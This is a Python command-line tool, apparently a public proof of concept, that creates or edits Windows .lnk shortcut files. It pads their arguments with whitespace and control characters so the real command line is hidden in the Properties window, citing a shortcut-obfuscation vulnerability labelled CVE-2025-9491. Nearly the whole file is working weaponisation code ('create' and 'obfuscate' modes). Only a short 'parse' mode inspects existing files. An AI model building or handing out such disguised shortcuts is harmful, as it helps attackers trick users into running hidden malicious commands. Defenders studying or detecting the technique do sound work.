import pylnk3 as pylnk import codecs import argparse import random import struct # Custom formatter class combining RawTextHelpFormatter and default values display class RawTextHelpFormatterWithDefaults(argparse.RawTextHelpFormatter): def _get_help_string(self, action): help_text = action.help or '' if action.default is not argparse.SUPPRESS: help_text += f'\n(default: {action.default})' return help_text # Credits # TrendMicro ZDI for the vulnerability (https://www.trendmicro.com/en_us/research/25/c/windows-shortcut-zero-day-exploit.html) # pylnk for lnk manipulation, by tim-erwin (https://sourceforge.net/projects/pylnk/) # Python3-converted pylnk, by Strayge and more (https://github.com/strayge/pylnk) # Arguments handling parser = argparse.ArgumentParser(description='LNK Obfuscation using CVE-2025-9491.\ \n The fixed size of the Windows property Window allow a the camouflage of\ intended commandline by writing multiple non visible characters.'\ ,formatter_class=RawTextHelpFormatterWithDefaults) # Create subparsers for different modes subparsers = parser.add_subparsers(dest='mode', help='Operation mode', required=True) # Create subparser for 'create' mode create_parser = subparsers.add_parser('create', help='Create an obfuscated LNK file', formatter_class=RawTextHelpFormatterWithDefaults) create_parser.add_argument('-t', '--target', help='Path target file of the LNK', type=str, required=True) create_parser.add_argument('-a', '--arguments', help='Arguments to pass to the target', type=str, required=True) create_parser.add_argument('-o', '--output', help='Ouput LNK destination', required=True) create_parser.add_argument('-c', '--charset', help='Specify a custom charset to use when\ creating the padding.\n Expected format : List of comma separated HEX values', default="20,09,0A,0B,0C,0D", type=str) create_parser.add_argument('-s', '--padding_size', help='Number of charaters between the\ target and the arguments', type=int, default=128) create_parser.add_argument('-p', '--pattern_type', help='Select the wanted stuffing pattern type\ \n[1] Random pattern (default): BAFGDADBFECCDEABCDFFAC...\ \n[2] Mono pattern (First element of the charset): AAAAAAAAAAAAAAA...\ \n[3] Cycling pattern: ABCDEABCDEABCDE...'\ , default=1, type=int, required=False) create_parser.add_argument('-i', '--icon', help='LNK icon path', type=str) create_parser.add_argument('-d', '--description', help='Visible lnk description', type=str) create_parser.add_argument('-v', '--verbose', help='Enable verbose output', action='store_true') # Create subparser for 'obfuscate' mode obfuscate_parser = subparsers.add_parser('obfuscate', help='Obfuscate an existing LNK file', formatter_class=RawTextHelpFormatterWithDefaults) obfuscate_parser.add_argument('-i', '--input', help='Path to the existing LNK file', type=str, required=True) obfuscate_parser.add_argument('-o', '--output', help='Output LNK destination', required=True) obfuscate_parser.add_argument('-c', '--charset', help='Specify a custom charset to use when\ creating the padding.\n Expected format : List of comma separated HEX values', default="20,09,0A,0B,0C,0D", type=str) obfuscate_parser.add_argument('-s', '--padding_size', help='Number of charaters to add as padding\ before the existing arguments', type=int, default=128) obfuscate_parser.add_argument('-p', '--pattern_type', help='Select the wanted stuffing pattern type\ \n[1] Random pattern (default): BAFGDADBFECCDEABCDFFAC...\ \n[2] Mono pattern (First element of the charset): AAAAAAAAAAAAAAA...\ \n[3] Cycling pattern: ABCDEABCDEABCDE...'\ , default=1, type=int, required=False) obfuscate_parser.add_argument('-v', '--verbose', help='Enable verbose output', action='store_true') # Create subparser for 'parse' mode parse_parser = subparsers.add_parser('parse', help='Parse and display contents of a LNK file', formatter_class=RawTextHelpFormatterWithDefaults) parse_parser.add_argument('-i', '--input', help='Path to the LNK file to parse', type=str, required=True) args = parser.parse_args() # Handle 'create' mode if args.mode == 'create': # Print arguments if verbose is enabled if args.verbose: print("[*] LNK Obfuscation Tool - Verbose Mode") print("[*] Arguments:") print(f" Target: {args.target}") print(f" Arguments: {args.arguments}") print(f" Output: {args.output}") print(f" Charset: {args.charset}") print(f" Padding Size: {args.padding_size}") print(f" Pattern Type: {args.pattern_type}") print(f" Icon: {args.icon if args.icon else 'None'}") print(f" Description: {args.description if args.description else 'None'}") print() # Basic Lnk data if args.verbose: print("[*] Creating LNK object...") try: lnk = pylnk.for_file(args.target) except pylnk.FormatException as e: print(f"Given target path is invalid ! ({e})") exit() if args.verbose: print(f"[+] LNK object created successfully") lnk.relative_path = '..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\..\\' + args.target if args.verbose: print(f"[+] Relative path set to: {lnk.relative_path}") if args.description != None: lnk.description = args.description if args.verbose: print(f"[+] Description set to: {args.description}") if args.icon != None: lnk.icon = args.icon if args.verbose: print(f"[+] Icon set to: {args.icon}") # Padding generation if args.verbose: print("[*] Generating padding...") charset = args.charset.split(',') if args.verbose: print(f"[+] Charset: {charset}") if args.pattern_type == 1: hex_str = ''.join(random.choices(charset, k=args.padding_size)) if args.verbose: print(f"[+] Using random pattern") elif args.pattern_type == 2: hex_str = ''.join(charset[0] * args.padding_size) if args.verbose: print(f"[+] Using mono pattern with: {charset[0]}") elif args.pattern_type == 3: mod = args.padding_size % len(charset) times = int((args.padding_size - mod) / len(charset)) hex_str = ''.join(charset) * times hex_str += ''.join(charset[:mod]) if args.verbose: print(f"[+] Using cycling pattern") if args.verbose: print(f"[+] Hex string length: {len(hex_str)}") print(f"[+] Decoding hex to bytes...") padding = codecs.decode(hex_str, 'hex').decode('utf8') if args.verbose: print(f"[+] Padding generated (length: {len(padding)} characters)") # Finalizing lnk creation if args.verbose: print("[*] Setting arguments...") lnk.arguments = padding + args.arguments if args.verbose: print(f"[+] Arguments set (total length: {len(lnk.arguments)} characters)") print("[*] Saving LNK file...") try: lnk.save(args.output) print("[+] LNK file saved successfully!") except Exception as e: print(f"The following exception occured when saving to {args.output}:\n{e}") # Handle 'obfuscate' mode elif args.mode == 'obfuscate': # Print arguments if verbose is enabled if args.verbose: print("[*] LNK Obfuscation Tool - Verbose Mode (obfuscate)") print("[*] Arguments:") print(f" Input: {args.input}") print(f" Output: {args.output}") print(f" Charset: {args.charset}") print(f" Padding Size: {args.padding_size}") print(f" Pattern Type: {args.pattern_type}") print() # Load existing LNK file if args.verbose: print("[*] Loading existing LNK file...") try: lnk = pylnk.parse(args.input) except FileNotFoundError: print(f"Input LNK file not found: {args.input}") exit() except (AssertionError, struct.error, Exception) as e: print(f"Failed to parse LNK file: {e}") exit() if args.verbose: print(f"[+] LNK file loaded and parsed successfully") if lnk.arguments: print(f"[+] Current arguments: {repr(lnk.arguments)}") else: print(f"[+] No existing arguments found") # Padding generation if args.verbose: print("[*] Generating padding...") charset = args.charset.split(',') if args.verbose: print(f"[+] Charset: {charset}") if args.pattern_type == 1: hex_str = ''.join(random.choices(charset, k=args.padding_size)) if args.verbose: print(f"[+] Using random pattern") elif args.pattern_type == 2: hex_str = ''.join(charset[0] * args.padding_size) if args.verbose: print(f"[+] Using mono pattern with: {charset[0]}") elif args.pattern_type == 3: mod = args.padding_size % len(charset) times = int((args.padding_size - mod) / len(charset)) hex_str = ''.join(charset) * times hex_str += ''.join(charset[:mod]) if args.verbose: print(f"[+] Using cycling pattern") if args.verbose: print(f"[+] Hex string length: {len(hex_str)}") print(f"[+] Decoding hex to bytes...") padding = codecs.decode(hex_str, 'hex').decode('utf8') if args.verbose: print(f"[+] Padding generated (length: {len(padding)} characters)") # Update arguments with padding if args.verbose: print("[*] Updating arguments with padding...") lnk.arguments = padding + lnk.arguments if args.verbose: print(f"[+] Arguments updated (total length: {len(lnk.arguments)} characters)") print("[*] Saving obfuscated LNK file...") try: lnk.save(args.output) print("[+] LNK file saved successfully!") except Exception as e: print(f"The following exception occured when saving to {args.output}:\n{e}") # Handle 'parse' mode elif args.mode == 'parse': # Load and parse LNK file try: lnk = pylnk.parse(args.input) except FileNotFoundError: print(f"Error: Input LNK file not found: {args.input}") exit() except (AssertionError, struct.error, Exception) as e: print(f"Error: Failed to parse LNK file: {e}") exit() # Print LNK file contents using pylnk3's __str__ method print(lnk)